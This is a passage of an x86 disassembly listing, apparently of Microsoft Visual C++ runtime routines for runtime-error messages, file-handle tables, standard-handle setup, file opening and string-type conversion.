		mov	eax, [edi+ecx*4+8]
		call	sub_41D626
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_423D47:				; CODE XREF: sub_423CC0+40j
					; sub_423CC0+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_423CF3
; ---------------------------------------------------------------------------


loc_423D52:				; CODE XREF: sub_423CC0+54j
		mov	eax, 0
		jmp	short loc_423D75
; ---------------------------------------------------------------------------


loc_423D59:				; CODE XREF: sub_423CC0+36j
		mov	eax, 1
		jmp	short loc_423D75
; ---------------------------------------------------------------------------


loc_423D60:				; CODE XREF: sub_423CC0+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41D592
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_423D75:				; CODE XREF: sub_423CC0+97j
					; sub_423CC0+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_423CC0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41D592
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423D98	proc near		; CODE XREF: sub_41E2C9+9p
					; sub_41E2EE+9p
		mov	eax, dword_4DBE4C
		cmp	eax, 1
		jz	short loc_423DAF
		test	eax, eax
		jnz	short locret_423DD0
		cmp	dword_43AE54, 1
		jnz	short locret_423DD0


loc_423DAF:				; CODE XREF: sub_423D98+8j
		push	0FCh
		call	sub_423DD1
		mov	eax, dword_4DBFB8
		pop	ecx
		test	eax, eax
		jz	short loc_423DC5
		call	eax


loc_423DC5:				; CODE XREF: sub_423D98+29j
		push	0FFh
		call	sub_423DD1
		pop	ecx

locret_423DD0:				; CODE XREF: sub_423D98+Cj
					; sub_423D98+15j
		retn
sub_423D98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423DD1	proc near		; CODE XREF: sub_41E2C9+12p
					; sub_41E2EE+12p ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43D4E8


loc_423DE4:				; CODE XREF: sub_423DD1+20j
		cmp	edx, [eax]
		jz	short loc_423DF3
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43D578
		jl	short loc_423DE4


loc_423DF3:				; CODE XREF: sub_423DD1+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43D4E8[esi]
		jnz	loc_423F21
		mov	eax, dword_4DBE4C
		cmp	eax, 1
		jz	loc_423EFB
		test	eax, eax
		jnz	short loc_423E24
		cmp	dword_43AE54, 1
		jz	loc_423EFB


loc_423E24:				; CODE XREF: sub_423DD1+44j
		cmp	edx, 0FCh
		jz	loc_423F21
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	dword_427078	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_423E5B
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_423E5B:				; CODE XREF: sub_423DD1+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41B9C0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423E9E
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41B9C0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41BFD0
		add	esp, 10h


loc_423E9E:				; CODE XREF: sub_423DD1+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41C890
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41C8A0
		lea	eax, [ebp+var_A0]
		push	offset asc_427BF0 ; "\n\n"
		push	eax
		call	sub_41C8A0
		push	off_43D4EC[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C8A0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_425029
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423F21
; ---------------------------------------------------------------------------


loc_423EFB:				; CODE XREF: sub_423DD1+3Cj
					; sub_423DD1+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43D4EC[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	dword_427028	; GetStdHandle
		push	eax
		call	dword_4270F0	; WriteFile


loc_423F21:				; CODE XREF: sub_423DD1+2Ej
					; sub_423DD1+59j ...
		pop	esi
		leave
		retn
sub_423DD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423F24	proc near		; CODE XREF: sub_42423B:loc_4243B3p
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DD060


loc_423F33:				; CODE XREF: sub_423F24+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423F70
		lea	edx, [eax+100h]


loc_423F3F:				; CODE XREF: sub_423F24+28j
		cmp	eax, edx
		jnb	short loc_423F5F
		test	byte ptr [eax+4], 1
		jz	short loc_423F4E
		add	eax, 8
		jmp	short loc_423F3F
; ---------------------------------------------------------------------------


loc_423F4E:				; CODE XREF: sub_423F24+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_423FB3


loc_423F5F:				; CODE XREF: sub_423F24+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DD160
		jl	short loc_423F33
		jmp	short loc_423FB3
; ---------------------------------------------------------------------------


loc_423F70:				; CODE XREF: sub_423F24+13j
		mov	esi, 100h
		push	esi
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		jz	short loc_423FB3
		add	dword_4DD160, 20h
		lea	ecx, ds:4DD060h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_423F96:				; CODE XREF: sub_423F24+88j
		cmp	eax, edx
		jnb	short loc_423FAE
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_423F96
; ---------------------------------------------------------------------------


loc_423FAE:				; CODE XREF: sub_423F24+74j
		shl	edi, 5
		mov	ebx, edi


loc_423FB3:				; CODE XREF: sub_423F24+39j
					; sub_423F24+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_423F24	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FB9	proc near		; CODE XREF: sub_42423B+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DD160
		push	edi
		jnb	short loc_424019
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DD060h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_424019
		cmp	dword_43AE54, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_42400F
		sub	eax, 0
		jz	short loc_424006
		dec	eax
		jz	short loc_424001
		dec	eax
		jnz	short loc_42400F
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_424009
; ---------------------------------------------------------------------------


loc_424001:				; CODE XREF: sub_423FB9+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_424009
; ---------------------------------------------------------------------------


loc_424006:				; CODE XREF: sub_423FB9+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_424009:				; CODE XREF: sub_423FB9+46j
					; sub_423FB9+4Bj
		call	dword_427020	; SetStdHandle


loc_42400F:				; CODE XREF: sub_423FB9+36j
					; sub_423FB9+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_42402D
; ---------------------------------------------------------------------------


loc_424019:				; CODE XREF: sub_423FB9+Cj
					; sub_423FB9+28j
		and	dword_4DBDF0, 0
		mov	dword_4DBDEC, 9
		or	eax, 0FFFFFFFFh


loc_42402D:				; CODE XREF: sub_423FB9+5Ej
		pop	edi
		pop	esi
		retn
sub_423FB9	endp


; =============== S U B	R O U T	I N E =======================================



sub_424030	proc near		; CODE XREF: sub_41E312+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DD160
		push	edi
		jnb	short loc_424093
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DD060h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_424093
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_424093
		cmp	dword_43AE54, 1
		jnz	short loc_424089
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_424080
		dec	ecx
		jz	short loc_42407B
		dec	ecx
		jnz	short loc_424089
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_424083
; ---------------------------------------------------------------------------


loc_42407B:				; CODE XREF: sub_424030+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_424083
; ---------------------------------------------------------------------------


loc_424080:				; CODE XREF: sub_424030+3Ej
		push	eax
		push	0FFFFFFF6h


loc_424083:				; CODE XREF: sub_424030+49j
					; sub_424030+4Ej
		call	dword_427020	; SetStdHandle


loc_424089:				; CODE XREF: sub_424030+38j
					; sub_424030+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_4240A7
; ---------------------------------------------------------------------------


loc_424093:				; CODE XREF: sub_424030+Cj
					; sub_424030+2Aj ...
		and	dword_4DBDF0, 0
		mov	dword_4DBDEC, 9
		or	eax, 0FFFFFFFFh


loc_4240A7:				; CODE XREF: sub_424030+61j
		pop	edi
		pop	esi
		retn
sub_424030	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240AA	proc near		; CODE XREF: sub_41E312+32p
					; sub_41E312+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD160
		jnb	short loc_4240D2
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD060[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4240D2
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_4240D2:				; CODE XREF: sub_4240AA+Aj
					; sub_4240AA+23j
		and	dword_4DBDF0, 0
		mov	dword_4DBDEC, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4240AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240E7	proc near		; CODE XREF: sub_41E3F0+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD160
		jnb	short loc_424130
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DD060[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_424130
		push	eax
		call	sub_4240AA
		pop	ecx
		push	eax
		call	dword_42701C	; FlushFileBuffers
		test	eax, eax
		jnz	short loc_424125
		call	dword_427094	; RtlGetLastWin32Error
		jmp	short loc_424127
; ---------------------------------------------------------------------------


loc_424125:				; CODE XREF: sub_4240E7+34j
		xor	eax, eax


loc_424127:				; CODE XREF: sub_4240E7+3Cj
		test	eax, eax
		jz	short locret_42413D
		mov	dword_4DBDF0, eax


loc_424130:				; CODE XREF: sub_4240E7+Aj
					; sub_4240E7+22j
		mov	dword_4DBDEC, 9
		or	eax, 0FFFFFFFFh

locret_42413D:				; CODE XREF: sub_4240E7+42j
		retn
sub_4240E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_42413E	proc near		; DATA XREF: .packed:00429020o
		mov	eax, dword_4DD040
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_424152
		mov	eax, 200h
		jmp	short loc_424158
; ---------------------------------------------------------------------------


loc_424152:				; CODE XREF: sub_42413E+Bj
		cmp	eax, esi
		jge	short loc_42415D
		mov	eax, esi


loc_424158:				; CODE XREF: sub_42413E+12j
		mov	dword_4DD040, eax


loc_42415D:				; CODE XREF: sub_42413E+16j
		push	4
		push	eax
		call	sub_4250B2
		pop	ecx
		mov	dword_4DC02C, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_424191
		push	4
		push	esi
		mov	dword_4DD040, esi
		call	sub_4250B2
		pop	ecx
		mov	dword_4DC02C, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_424191
		push	1Ah
		call	sub_41E2C9
		pop	ecx


loc_424191:				; CODE XREF: sub_42413E+30j
					; sub_42413E+49j
		xor	ecx, ecx
		mov	eax, offset off_43D578


loc_424198:				; CODE XREF: sub_42413E+6Ej
		mov	edx, dword_4DC02C
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43D7F8
		jl	short loc_424198
		xor	edx, edx
		mov	ecx, offset dword_43D588


loc_4241B5:				; CODE XREF: sub_42413E+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DD060[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4241D2
		test	eax, eax
		jnz	short loc_4241D5


loc_4241D2:				; CODE XREF: sub_42413E+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_4241D5:				; CODE XREF: sub_42413E+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43D5E8
		jl	short loc_4241B5
		pop	esi
		retn
sub_42413E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241E3	proc near		; DATA XREF: .packed:00429030o

; FUNCTION CHUNK AT 00425163 SIZE 00000058 BYTES

		call	sub_41E487
		cmp	byte_4DBE2C, 0
		jz	short locret_4241F6
		jmp	loc_425163
; ---------------------------------------------------------------------------

locret_4241F6:				; CODE XREF: sub_4241E3+Cj
		retn
sub_4241E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241F7	proc near		; CODE XREF: sub_41F8E3+32p
					; sub_41FE2A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DBFBC
		push	1000h
		call	sub_41BEB5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_424220
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_424231
; ---------------------------------------------------------------------------


loc_424220:				; CODE XREF: sub_4241F7+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_424231:				; CODE XREF: sub_4241F7+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4241F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42423B	proc near		; CODE XREF: sub_41FBCD+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_424261
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_42426C
; ---------------------------------------------------------------------------


loc_424261:				; CODE XREF: sub_42423B+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_42426C:				; CODE XREF: sub_42423B+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_424286
		test	ch, 40h
		jnz	short loc_424282
		cmp	dword_4DC008, eax
		jz	short loc_424286


loc_424282:				; CODE XREF: sub_42423B+3Dj
		or	[ebp+var_1], 80h


loc_424286:				; CODE XREF: sub_42423B+38j
					; sub_42423B+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_4242BE
		dec	eax
		jz	short loc_4242B5
		dec	eax
		jz	short loc_4242AC


loc_424297:				; CODE XREF: sub_42423B+9Fj
					; sub_42423B+E8j ...
		mov	dword_4DBDEC, 16h
		mov	dword_4DBDF0, ebx
		jmp	loc_4244D1
; ---------------------------------------------------------------------------


loc_4242AC:				; CODE XREF: sub_42423B+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_4242C5
; ---------------------------------------------------------------------------


loc_4242B5:				; CODE XREF: sub_42423B+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_4242C5
; ---------------------------------------------------------------------------


loc_4242BE:				; CODE XREF: sub_42423B+54j
		mov	[ebp+var_C], 80000000h


loc_4242C5:				; CODE XREF: sub_42423B+78j
					; sub_42423B+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_4242F3
		cmp	eax, 20h
		jz	short loc_4242EA
		cmp	eax, 30h
		jz	short loc_4242E1
		cmp	eax, 40h
		jnz	short loc_424297
		mov	[ebp+var_10], esi
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------


loc_4242E1:				; CODE XREF: sub_42423B+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------


loc_4242EA:				; CODE XREF: sub_42423B+95j
		mov	[ebp+var_10], 1
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------


loc_4242F3:				; CODE XREF: sub_42423B+90j
		mov	[ebp+var_10], ebx


loc_4242F6:				; CODE XREF: sub_42423B+A4j
					; sub_42423B+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_424340
		jz	short loc_42433B
		cmp	ecx, ebx
		jz	short loc_42433B
		cmp	ecx, edi
		jz	short loc_424332
		cmp	ecx, 200h
		jz	short loc_424359
		cmp	ecx, 300h
		jnz	loc_424297
		mov	[ebp+var_8], 2
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_424332:				; CODE XREF: sub_42423B+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_42433B:				; CODE XREF: sub_42423B+D0j
					; sub_42423B+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_424340:				; CODE XREF: sub_42423B+CEj
		cmp	ecx, 500h
		jz	short loc_424362
		cmp	ecx, 600h
		jz	short loc_424359
		cmp	ecx, edx
		jz	short loc_424362
		jmp	loc_424297
; ---------------------------------------------------------------------------


loc_424359:				; CODE XREF: sub_42423B+E0j
					; sub_42423B+113j
		mov	[ebp+var_8], 5
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_424362:				; CODE XREF: sub_42423B+10Bj
					; sub_42423B+117j
		mov	[ebp+var_8], 1


loc_424369:				; CODE XREF: sub_42423B+F5j
					; sub_42423B+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_424388
		mov	ecx, dword_4DBDF4
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_424388
		push	1
		pop	esi


loc_424388:				; CODE XREF: sub_42423B+138j
					; sub_42423B+148j
		test	al, 40h
		jz	short loc_424396
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_424396:				; CODE XREF: sub_42423B+14Fj
		test	ah, 10h
		jz	short loc_42439D
		or	esi, edi


loc_42439D:				; CODE XREF: sub_42423B+15Ej
		test	al, 20h
		jz	short loc_4243A9
		or	esi, 8000000h
		jmp	short loc_4243B3
; ---------------------------------------------------------------------------


loc_4243A9:				; CODE XREF: sub_42423B+164j
		test	al, 10h
		jz	short loc_4243B3
		or	esi, 10000000h


loc_4243B3:				; CODE XREF: sub_42423B+16Cj
					; sub_42423B+170j
		call	sub_423F24
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_4243D4
		and	dword_4DBDF0, 0
		mov	dword_4DBDEC, 18h
		jmp	short loc_424412
; ---------------------------------------------------------------------------


loc_4243D4:				; CODE XREF: sub_42423B+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	dword_4270F8	; CreateFileA
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_424405
		push	esi
		call	dword_427024	; GetFileType
		test	eax, eax
		jnz	short loc_424419
		push	esi
		call	dword_427070	; CloseHandle


loc_424405:				; CODE XREF: sub_42423B+1B6j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		call	sub_420C7F
		pop	ecx


loc_424412:				; CODE XREF: sub_42423B+197j
		mov	eax, edi
		jmp	loc_4244EF
; ---------------------------------------------------------------------------


loc_424419:				; CODE XREF: sub_42423B+1C1j
		cmp	eax, 2
		jnz	short loc_424424
		or	[ebp+var_1], 40h
		jmp	short loc_42442D
; ---------------------------------------------------------------------------


loc_424424:				; CODE XREF: sub_42423B+1E1j
		cmp	eax, 3
		jnz	short loc_42442D
		or	[ebp+var_1], 8


loc_42442D:				; CODE XREF: sub_42423B+1E7j
					; sub_42423B+1ECj
		push	esi
		push	ebx
		call	sub_423FB9
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DD060h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_4244D6
		test	al, 80h
		jz	short loc_4244D6
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_4244D6
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_42448B
		cmp	dword_4DBDF0, 83h
		jz	short loc_4244D6
		jmp	short loc_4244CA
; ---------------------------------------------------------------------------


loc_42448B:				; CODE XREF: sub_42423B+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F9BC
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4244B8
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_4244B8
		push	[ebp+var_10]
		push	ebx
		call	sub_4251BB
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4244CA


loc_4244B8:				; CODE XREF: sub_42423B+265j
					; sub_42423B+26Bj
		push	0
		push	0
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4244D6


loc_4244CA:				; CODE XREF: sub_42423B+24Ej
					; sub_42423B+27Bj
		push	ebx
		call	sub_41E312
		pop	ecx


loc_4244D1:				; CODE XREF: sub_42423B+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_4244EF
; ---------------------------------------------------------------------------


loc_4244D6:				; CODE XREF: sub_42423B+221j
					; sub_42423B+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_4244ED
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_4244ED
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_4244ED:				; CODE XREF: sub_42423B+29Fj
					; sub_42423B+2A5j
		mov	eax, ebx


loc_4244EF:				; CODE XREF: sub_42423B+1D9j
					; sub_42423B+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42423B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4244F4	proc near		; CODE XREF: sub_41FDB5+5Ep
					; sub_420988+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C30
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DBFC4
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_424563
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427920
		push	esi
		call	dword_427014	; GetStringTypeW
		test	eax, eax
		jz	short loc_424541
		mov	eax, esi
		jmp	short loc_42455E
; ---------------------------------------------------------------------------


loc_424541:				; CODE XREF: sub_4244F4+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset word_4CB89C
		push	esi
		push	ebx
		call	dword_427018	; GetStringTypeA
		test	eax, eax
		jz	loc_424629
		push	2
		pop	eax


loc_42455E:				; CODE XREF: sub_4244F4+4Bj
		mov	dword_4DBFC4, eax


loc_424563:				; CODE XREF: sub_4244F4+2Fj
		cmp	eax, 2
		jnz	short loc_42458C
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_424574
		mov	eax, dword_4DBE94


loc_424574:				; CODE XREF: sub_4244F4+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	dword_427018	; GetStringTypeA
		jmp	loc_42462B
; ---------------------------------------------------------------------------


loc_42458C:				; CODE XREF: sub_4244F4+72j
		cmp	eax, 1
		jnz	loc_424629
		cmp	[ebp+arg_10], ebx
		jnz	short loc_4245A2
		mov	eax, dword_4DBEA4
		mov	[ebp+arg_10], eax


loc_4245A2:				; CODE XREF: sub_4244F4+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	dword_4270E8	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_424629
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41BF70
		add	esp, 0Ch
		jmp	short loc_4245F8
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_4245F8:				; CODE XREF: sub_4244F4+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_424629
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	dword_4270E8	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_424629
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	dword_427014	; GetStringTypeW
		jmp	short loc_42462B
; ---------------------------------------------------------------------------


loc_424629:				; CODE XREF: sub_4244F4+61j
					; sub_4244F4+9Bj ...
		xor	eax, eax


loc_42462B:				; CODE XREF: sub_4244F4+93j
					; sub_4244F4+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4244F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_42463D	proc near		; CODE XREF: sub_41FE2A+61p
					; sub_420CE6+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD160
		jb	short loc_42464C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42464C:				; CODE XREF: sub_42463D+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD060[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_42463D	endp


